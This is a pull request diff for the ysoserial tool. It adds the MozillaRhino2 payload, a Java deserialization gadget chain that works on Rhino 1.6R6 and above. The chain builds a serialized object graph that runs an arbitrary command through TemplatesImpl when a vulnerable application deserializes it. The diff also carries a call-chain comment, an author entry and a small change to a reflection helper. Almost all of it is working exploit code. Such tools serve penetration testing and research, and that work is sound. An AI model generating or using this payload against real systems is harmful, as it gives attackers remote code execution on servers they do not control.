Merge pull request #106 from tint0/rhino-gadget-2

MozillaRhino2 gadget

src/main/java/ysoserial/payloads/MozillaRhino2.java

@@ -0,0 +1,109 @@
+package ysoserial.payloads;
+
+import org.mozilla.javascript.*;
+import org.mozilla.javascript.tools.shell.Environment;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Method;
+import java.util.Hashtable;
+import java.util.Map;
+
+/*
+
+    Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
+
+    Chain:
+
+    NativeJavaObject.readObject()
+      JavaAdapter.readAdapterObject()
+        ObjectInputStream.readObject()
+          ...
+            NativeJavaObject.readObject()
+              JavaAdapter.readAdapterObject()
+                JavaAdapter.getAdapterClass()
+                  JavaAdapter.getObjectFunctionNames()
+                    ScriptableObject.getProperty()
+                        ScriptableObject.get()
+                          ScriptableObject.getImpl()
+                            Method.invoke()
+                              Context.enter()
+        JavaAdapter.getAdapterClass()
+          JavaAdapter.getObjectFunctionNames()
+            ScriptableObject.getProperty()
+              NativeJavaArray.get()
+                NativeJavaObject.get()
+                  JavaMembers.get()
+                    Method.invoke()
+                      TemplatesImpl.getOutputProperties()
+                        ...
+
+    by @_tint0
+
+*/
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"rhino:js:1.7R2"})
+@Authors({ Authors.TINT0 })
+public class MozillaRhino2 implements ObjectPayload<Object> {
+
+    public Object getObject( String command) throws Exception {
+        ScriptableObject dummyScope = new Environment();
+        Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
+        associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
+        Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
+
+        Object initContextMemberBox = Reflections.createWithConstructor(
+            Class.forName("org.mozilla.javascript.MemberBox"),
+            (Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
+            new Class[] {Method.class},
+            new Object[] {Context.class.getMethod("enter")});
+
+        ScriptableObject initContextScriptableObject = new Environment();
+        Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
+        makeSlot.setAccessible(true);
+        Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4);
+        Reflections.setFieldValue(slot, "getter", initContextMemberBox);
+
+        NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
+        Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
+        Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
+        Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
+            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
+        Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
+
+        ScriptableObject scriptableObject = new Environment();
+        scriptableObject.setParentScope(initContextNativeJavaObject);
+        makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
+
+        NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
+        Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
+        Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
+        nativeJavaArray.setPrototype(scriptableObject);
+        Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
+
+        NativeJavaObject nativeJavaObject = new NativeJavaObject();
+        Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
+        Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
+        Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
+            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
+        Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
+
+        return nativeJavaObject;
+    }
+
+    public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
+        out.writeObject("java.lang.Object");
+        out.writeObject(new String[0]);
+        out.writeObject(javaObject);
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(MozillaRhino2.class, args);
+    }
+
+}

src/main/java/ysoserial/payloads/annotation/Authors.java

@@ -19,6 +19,7 @@ public @interface Authors {
     String JACOBAINES = "jacob-baines";
     String JASINNER = "jasinner";
     String KULLRICH = "kai_ullrich";
+    String TINT0 = "_tint0";
 
     String[] value() default {};
 

src/main/java/ysoserial/payloads/util/Reflections.java

@@ -9,12 +9,16 @@ import sun.reflect.ReflectionFactory;
 @SuppressWarnings ( "restriction" )
 public class Reflections {
 
-	public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
-		Field field = clazz.getDeclaredField(fieldName);
-		if (field != null)
-			field.setAccessible(true);
-		else if (clazz.getSuperclass() != null)
-			field = getField(clazz.getSuperclass(), fieldName);
+	public static Field getField(final Class<?> clazz, final String fieldName) {
+        Field field = null;
+	    try {
+	        field = clazz.getDeclaredField(fieldName);
+            field.setAccessible(true);
+        }
+        catch (NoSuchFieldException ex) {
+            if (clazz.getSuperclass() != null)
+                field = getField(clazz.getSuperclass(), fieldName);
+        }
 		return field;
 	}